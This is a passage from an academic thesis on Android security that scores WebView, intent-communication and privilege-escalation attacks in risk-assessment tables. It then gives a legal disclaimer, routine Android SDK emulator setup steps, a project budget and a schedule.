the application population, an approximation will be performed using the questionnaire 
previously defined. 
This questionnaire will have its results converted into the following epigraphs, creating a binary 
matrix yielding a measured risk evaluation: 
Impact 
Depending on the possible consequences, such as denial of service, sensible data accessed, or 
modified, and reversibility of the effects, the impact metric will be computed. 
Likelihood 
This metric stands for the probability of a successful attack to take place, according to the 
number of vulnerable devices on the market, as well as the user/attacker knowledge. 
Affected versions 
This data shall be crossed with the pervasion of each Android version on the market, as 
provided by Google. 
Permissions 
If permissions are necessary for the attack success, they will decrease the likelihood of 
the attack on an informed user. If one of these permissions shows itself to the user as 
inherently dangerous, the likelihood will decrease in a higher order. 
Attacker previous knowledge 
If the attack only work on a specific set of devices, or when the user has additional 
applications installed, the likelihood shall decrease. 
User interaction 
Required user interaction will always decrease the likelihood of the attack.  
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6.2 Evaluation calculation 
The metrics will yield an Assessed Potential Risk, which will vary from 0 (when the attack risk is 
negligible) to 1 (when it presents a real danger). 
6.3 Evaluation 
In order to compute the following risk evaluations, algorithms from the analysis phase, along 
with the following data were compiled onto a spreadsheet (which has been attached to the 
files provided with this document). 
The compared results are: 
Type  Assessed risk 
JavaScript 
Injection 
0.4 
These WebView vulnerabilities, since they are available at any 
version, present a real risk on any device. However, they rely on 
unsafe practices on existent applications. 
Sandbox Holes 0.4752 
Frame Confusion 0.2376 
Event Sniffing 
and Hijacking 
0.7128 Ranking the highest, this vulnerability is inherent to the Android 
system, and can take place at any version. An attacker could 
easily upload such application to the Play Store and obtain 
sensitive information, without being noticed, not even by a single 
permission. 
Broadcast Theft 0.06 Usually, broadcasts are used just as that, as publicly available 
information. Only bad development practices (using broadcasts 
to return sensitive data) makes this an actual vulnerability. 
Activity/Service 
Hijacking 
0.15 
Although the impact could be high, if certain permissions or 
sensitive data are in place, these attacks depend entirely on the 
target application developer. Safe development practices 
completely prevent this. 
Malicious 
Broadcast 
Injection 
0.15 
Malicious 
Activity/Service 
Launch 
0.15 
Rage Against the 
Cage 
0.155 Despite the highest impact, being only successful on a previous 
Android version reduces greatly its risk. 
 
“Repackaging” is not evaluated here, since it is always possible to perform with any published 
application, but requires previous physical or remote access to the device, in order to install 
the compromised application. Although they can theoretically be uploaded to Google’s Play 
Store, Google actively cancels such applications from the market. 
If this was achieved, however, such attack risk assessment would depend on the actual features 
and requirements of the target application.  
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6.3.1 WebView typology 
6.3.1.1 Javascript Injection 
Metric  Value  
 
Impact 
  
Denial of Service 0 Its effects are limited to the web view environment, thus it’s not 
able to perform a denial of service attack by itself. However, if 
social engineering is correctly applied, the user could be deceived 
into deleting or blocking an account of his own, for example. 
Sensible data 
accessed 
1 JavaScript can take information and send it through queries to a 
server 
Sensible data 
modified 
1 Injected JavaScript could invoke functions on the website, that 
could affect data stored on the server 
Reversibility of 
the effects 
1 The device is not compromised permanently if the attacker 
application is no longer used 
 
Likelihood 
  
Affected versions All  
Regular required 
permissions 
0 Usually Internet permission, although Web View could show local 
data, so permission might not be needed.  
Special required 
permissions 
0  
Previous 
user/system 
knowledge 
0 Works on every device. Attacks can be generalized to retrieve all 
kind of data. 
User interaction 0  
 
Assessed 
potential risk 
0.4 
 
6.3.1.2 Sandbox Holes 
Exposing worst case scenario, when a compromised application has been granted strong 
permission, and exposes system functions to the WebView without proper checking. 
Metric  Value  
 
Impact 
  
Denial of Service 1 Depending on the exposed functions and their permissions, device 
could perform unexpected behavior. 
Sensible data 
accessed 
1 Depending on the exposed functions. 
Sensible data 
modified 
1 Depending on the exposed functions. 
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Reversibility of 
the effects 
0 Depending on the exposed functions. 
 
Likelihood 
  
Affected versions All  
Regular required 
permissions 
1 Worst case scenario: regular permissions granted (matching impact 
metrics) 
Special required 
permissions 
1 Worst case scenario: sensitive permissions granted (matching 
impact metrics) 
Previous 
user/system 
knowledge 
1 Interfaced functions must be known beforehand. 
User interaction 0  
 
Assessed 
potential risk 
0.4752 
 
6.3.1.3 Frame Confusion 
Metric  Value  
 
Impact 
  
Denial of Service 0  
Sensible data 
accessed 
1 Same-origin web client policy is broken. Data is exfiltrated between 
frames. 
Sensible data 
modified 
1 Interaction between frames. 
Reversibility of 
the effects 
1 The device is not compromised permanently if the attacker 
application is no longer used. 
 
Likelihood 
  
Affected versions All  
Regular required 
permissions 
1 INTERNET permission is required. Same-origin policy is only 
enforced across domains 
Special required 
permissions 
0  
Previous 
user/system 
knowledge 
1 Interfaced functions must be known beforehand. 
User interaction 0  
 
Assessed 
potential risk 
0.2376 
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6.3.1.4 Event Sniffing and Hijacking 
Metric  Value  
 
Impact 
  
Denial of Service 0  
Sensible data 
accessed 
1 User interaction, sessions and data are compromised. 
Sensible data 
modified 
1 Through user interaction – depends on social engineering/phising 
scheme. 
Reversibility of 
the effects 
0 Some deceived-user performed actions could be irreversible, such 
as an online payment. 
 
Likelihood 
  
Affected versions All  
Regular required 
permissions 
1 INTERNET permission is required for an effective attack. 
Special required 
permissions 
0  
Previous 
user/system 
knowledge 
0 The attacker only needs to analyze the website design, public in 
most of the typical scenarios (could previously create an account 
on the site, if needed). 
User interaction 1 No interaction of the user with the site results in no data sniffed or 
modified. 
 
Assessed 
potential risk 
0.7128 
6.3.2 Intercommunication typology 
6.3.2.1 Broadcast Theft 
Metric  Value  
 
Impact 
  
Denial of Service 0 The user can always choose the legitimate intent destination. 
Sensible data 
accessed 
1 Data is exfiltrated from the origin application. 
Sensible data 
modified 
0 Intent data may be read, but modifying it has no effect. 
Reversibility of 
the effects 
1 The device is not compromised permanently. 
 
Likelihood 
  
Affected versions All  
Regular required 0  
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permissions 
Special required 
permissions 
0  
Previous 
user/system 
knowledge 
1 Installed legitimate application (source of the intent) must be 
known beforehand. 
User interaction 1 User must choose the actual malicious application 
 
Assessed 
potential risk 
0.06 
 
6.3.2.2 Activity and Service Hijacking 
Their metrics are equal, due to attack similarities. 
Metric  Value  
 
Impact 
  
Denial of Service 1 The intent will be always diverted from the actual destination. 
Sensible data 
accessed 
1 Data is exfiltrated from the origin application. 
Sensible data 
modified 
0 Intent data may be read, but modifying it has no effect. 
Reversibility of 
the effects 
1 The device is not compromised permanently. Application can be 
uninstalled. 
 
Likelihood 
  
Affected versions All  
Regular required 
permissions 
0  
Special required 
permissions 
0  
Previous 
user/system 
knowledge 
1 Installed legitimate application (source of the intent) must be 
known beforehand. 
User interaction 0 Hijacking occurs automatically, depending on the intent filter 
priority 
 
Assessed 
potential risk 
0.15 
6.3.2.3 Malicious Broadcast Injection 
Metric  Valu
e 
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Impact 
  
Denial of Service 0   
Sensible data 
accessed 
0  
Sensible data 
modified 
1 Intent data may be infiltrated in the destination application. 
Reversibility of the 
effects 
1 The device is not compromised permanently. Application can be 
uninstalled. 
 
Likelihood 
  
Affected versions All  
Regular required 
permissions 
0  
Special required 
permissions 
0  
Previous 
user/system 
knowledge 
1 Installed legitimate application code (intent destination) must be 
known beforehand. 
User interaction 0 Injection occurs automatically upon a trigger. 
 
Assessed potential 
risk 
0.15 
 
6.3.2.4 Malicious Activity and Service Launch 
Their metrics are equal, due to attack similarities. 
Metric  Value  
 
Impact 
  
Denial of Service 0  
Sensible data 
accessed 
0  
Sensible data 
modified 
1 Intent data may be infiltrated in the destination application. 
Reversibility of 
the effects 
1 The device is not compromised permanently. Application can be 
uninstalled. 
 
Likelihood 
  
Affected versions All  
Regular required 
permissions 
0  
Special required 
permissions 
0  
Previous 
user/system 
1 Installed legitimate application (source of the intent) must be 
known beforehand. 
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knowledge 
User interaction 0 Hijacking occurs automatically, depending on the intent filter 
priority 
 
Assessed 
potential risk 
0.15 
 
6.3.3 Privilege Escalation typology 
In this case, the impact metric is the highest possible, since the attacker obtains root on the 
device, which is the highest degree of permissions on the device, being virtually able to achieve 
any resource access or modification, or even rendering the device permanently unusable (or 
only recoverable through technical support). 
Likelihood will determine the actual assessed risk in privilege escalation attacks. 
6.3.3.1 Rage Against the Cage 
As for the likelihood, it is limited by the fact that the flaw was corrected on the latest versions. 
Metric  Value  
 
Impact 
  
Denial of Service 1  
Sensible data 
accessed 
1  
Sensible data 
modified 
1   
Reversibility of 
the effects 
1  
 
Likelihood 
  
Affected versions <2.2 On Gingerbread and above, the ADB implementation fixes the flaw 
this attack exploits 
Regular required 
permissions 
0  
Special required 
permissions 
0  
Previous 
user/system 
knowledge 
0  
User interaction 0  
 
Assessed 
potential risk 
0.155 
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7 Legal considerations 
7.1 Disclaimer 
Work performed in the present document has the sole and only purpose of academic research, 
and has been published under the coverage of Spanish Intellectual Property Law (LPI), article 
37.1 (translated from Spanish): 
“Copyright holders won’t be able to oppose to public reproduction of their work, when 
this reproduction occurs without expectation of revenue at public museums, libraries 
[…] or entities integrated in public scientific or cultural institutions, which reproduction 
is solely done for research purposes”. 
Additionally, Spanish Information Society Services Law (LSSI) establishes requirements for 
“services providers”, in its second chapter: “Application scope”. No service was publicly 
provided in this project development, therefore LSSI does not apply. 
The author of this document does not condone or support illegal activities that could derive 
from the application of the exposed techniques. 
Google, Android and the Google logo are registered trademarks of Google Inc., used with 
permission. For more information about Google trademarks usage, please refer to their 
website.26  
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APPENDIX A: REPLICATION 
8 Replication 
8.1 How to obtain the results of this thesis, from the provided code  
8.1.1 Tools 
In order to replicate the results, we’ll need the following tools: 
 Android SDK Tools 
 Android Platform-tools 
 A system image for the emulator 
And, preferably: 
 Eclipse IDE 
 ADT plugin for Eclipse 
It is possible to obtain everything from the Developers website, at android.com27, as a single 
standalone bundle. In this epigraph, we’ll see how to emulate the platform, to run the 
applications on a host computer. Some proofs of concept might only run as expected when 
executed on a physical device – for that matter, please check with the device manufacturer 
which drivers are needed. 
8.1.2 Emulating Android 
8.1.2.1 Updating the SDK 
The SDK includes among its tools one command line application, named “android”.28 This tool 
shall be run the first time the SDK is installed, using the parameter “sdk”: 
$ android sdk 
This will bring up the SDK Manager29, from which you can select which packages you want to 
download. In this case, having installed the latest version available of the SDK Platform and the 
ARM system image should be enough. 
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8.1.2.2 Creating an AVD 
An Android Virtual Device, also known as AVD, stands for an Android image/configuration used 
by the emulator, required by the emulator in order to run.  
First of all, to check which “targets” are available (Android versions that can be emulated): 
$ android list targets 
Then, with the “id” of the target we want to use, depending on the Android version required 
for testing (at <id>), and adding the name we want to assign (at <name>), we invoke: 
$ android create avd -n <name> -t <id> 
This will create an image ready to be used by the emulator. 
8.1.2.3 Running the emulator  
To run the previously created image, we invoke (being < name> the same AVD name defined in 
the previous step): 
$ emulator -avd < name> 
A window will appear, with the emulated device screen, an auxiliary on-screen keyboard, and 
smartphone keys. Interaction can be directly performed on the screen, using the mouse to 
touch and drag over. 
If an Internet connection is available on the computer, the emulator will also use this 
connection for the emulated system and applications. 
For additional information, such as how to trigger certain events (calls, location, text messages, 
etc.) please refer to the SDK online reference.30 
8.1.3 Importing the source code, compiling and executing 
Proofs of concept code has been developed using Eclipse as an IDE, and therefore each folder 
has been kept in the Eclipse project format, to ease importation in other environments. 
To import the code from all proofs of concept, please start Eclipse, and select your current 
workspace, or any other folder you prefer as workspace for this project. Then: 
 Click on the File menu and then Import. 
 Choose, under “General”, “Existing Projects into Workspace”, and click Next. 
 On the dialog, browse to the folder <project file root>/src/ and continue. 
 Click “Select All”, and Finish. 
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The proofs of concept projects will appear on your workspace, ready to be executed. Compiling 
step is automatically performed by Eclipse when a project is run. To do so, please open a file 
inside of the project, and press Ctrl + F11. 
A dialog for selecting the target where to run will appear. If a physical Android device was 
connected before, it will be listed on the dialog. Otherwise, you may select a previously created 
AVD, or create one new, select it, and press Run. 
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APPENDIX B: 
PROJECT MANAGEMENT 
9 Budget 
9.1 Estimated costs 
The estimated costs are calculated taking in account the amortization period of the hardware 
components (estimated in 5 years), so that components exceeding amortization time won’t be 
included and the usage time (6 months). 
9.1.1 Hardware Equipment 
Only those components directly related to the consecution of the present project are taken 
into account: a laptop, an auxiliary monitor, and a smartphone (for testing purposes). 
Item  Retail price / expense Acquisition date Estimated cost 
Laptop - Dell XPS 
M1330 
€1530 May-08 €153 
Monitor - LG 24" €380 Oct-10 €38 
Smartphone - Sony 
Xperia S 
€499 Apr-12 €49.9 
   
TOTAL HW COST 
 
€240.9 
TABLE 23: BUDGET - HARDWARE EQUIPMENT 
9.1.2 Software Licenses 
Amortization period won’t be taken into account in this case, because of their expense being 
originated by the present project (computer was running before on GNU/Linux, however most 
Android tools are designed for Windows, and for formatting of this document purposes, 
Microsoft Word was preferred). 
The vast majority of the tools used are free to use, therefore the only related costs come from 
the OS and word processor. 
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Item   Retail price / 
expense 
Microsoft Windows 8 €59.99 
Microsoft Office 2010 
Home & Business 
€174 
 
TOTAL SW COST 
 
€233.99 
TABLE 24: BUDGET - SOFTWARE LICENSES 
9.1.3 Services 
Expenses related to the web hosting and domains, used for the proofs of concept that need 
web interaction, as well as the internet connection. 
Item  Retail price / 
expense 
Hosting (6 months) €30 
Domain €18 
Mobile Internet (6 
months – 10 GB data 
plan) 
€270 
 
TOTAL SERVICES 
 
€318 
TABLE 25: BUDGET - SERVICES 
9.1.4 Human Resources 
In this epigraph, salaries are detailed according to each role needed for this project 
consecution. 
 Project manager role is performed by this project tutor: Mr. Guillermo Nicolás Suárez 
de Tangil Rotaeche. 
 Both software analyst and programmer roles are assigned to this project author: Mr. 
Alberto Rico Simal 
The monthly salary is calculated based on the availability and demand of the profiles, according 
to the related required skills. 
These salaries include taxes and Social Security fees. 
Role   Gross monthly 
salary 
Dedication 
Project manager €4000 2 months 
Software analyst €3500 5 months 
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Programmer €2200 1 month 
  
TOTAL HR COST 
 
€27700 
TABLE 26: BUDGET - HUMAN RESOURCES 
9.1.5 Grand Total 
 
Epigraph  Cost 
Hardware €240.9 
Software Licenses €233.99 
Services €318 
Human Resources €27700 
 
GRAND TOTAL 
 
 €28018 
TABLE 27 - BUDGET - GRAND TOTAL 
  
PROJECT SCHEDULE 
 
132 
10 Project schedule 
10.1 Detailed planning of the project phases and subphases 
10.1.1 Tasks list 
Task Name Duration Start Finish Predecessors 
Security Flaws and Attacks on Android-based 
Systems 
126 days Mon 23/07/12 Mon 14/01/13 
 
   State of the art 14 days Mon 23/07/12 Thu 09/08/12 
 
      Gathering and compiling previous work 7 days Mon 23/07/12 Tue 31/07/12 
 
      Scope definition 3 days Wed 01/08/12 Fri 03/08/12 2 
      Other systems security overview 2 days Mon 06/08/12 Tue 07/08/12 3 
      Android system security overview 1 day Wed 08/08/12 Wed 08/08/12 4 
      Proof of concept and vulnerability 
definitions 
1 day Thu 09/08/12 Thu 09/08/12 5 
      State of the art complete 0 days Thu 09/08/12 Thu 09/08/12 6 
   Analysis 17 days Fri 10/08/12 Mon 03/09/12 
 
      Risk assessment definition 2 days Fri 10/08/12 Mon 13/08/12 7 
      Types of attack/concept listing 2 days Tue 14/08/12 Wed 15/08/12 9 
      Use cases design 4 days Thu 16/08/12 Tue 21/08/12 10 
      Feasability study 7 days Wed 22/08/12 Thu 30/08/12 11 
      Required tools definition 2 days Fri 31/08/12 Mon 03/09/12 12 
      Analysis complete 0 days Mon 03/09/12 Mon 03/09/12 13 
   Design 15 days Tue 04/09/12 Mon 24/09/12 
 
      Develop formal specifications 10 days Tue 04/09/12 Mon 17/09/12 14 
      Class diagram design 5 days Tue 18/09/12 Mon 24/09/12 16 
      Design complete 0 days Mon 24/09/12 Mon 24/09/12 17 
   Development 36 days Tue 25/09/12 Tue 13/11/12 
 
      Develop code 26 days Tue 25/09/12 Tue 30/10/12 
 
         WebView typology 7 days Tue 25/09/12 Wed 03/10/12 18 
         Intercommunication typology 14 days Thu 04/10/12 Tue 23/10/12 21 
         Privilege escalation typology 5 days Wed 24/10/12 Tue 30/10/12 22 
      Debugging / revising 10 days Wed 31/10/12 Tue 13/11/12 20 
      Development complete 0 days Tue 13/11/12 Tue 13/11/12 24 
   Risk assessment 10 days Wed 14/11/12 Tue 27/11/12 
 
      Evaluate risk, per attack 4 days Wed 14/11/12 Mon 19/11/12 25 
      Verify adherence to specifications 4 days Tue 20/11/12 Fri 23/11/12 27 
      Results compilation 2 days Mon 26/11/12 Tue 27/11/12 28 
   Documentation 34 days Wed 28/11/12 Mon 14/01/13 
 
      Revise source code comments 2 days Wed 28/11/12 Thu 29/11/12 29 
      Final report writing (compilation of previous 
work) 
30 days Fri 30/11/12 Thu 10/01/13 31 
      Appendix: Replication of results 2 days Fri 11/01/13 Mon 14/01/13 32 
      Appendix: Budget 1 day Fri 11/01/13 Fri 11/01/13 32 
      Appendix: Repackaging 2 days Fri 11/01/13 Mon 14/01/13 32 
  
 
 
10.1.2 Gantt chart  
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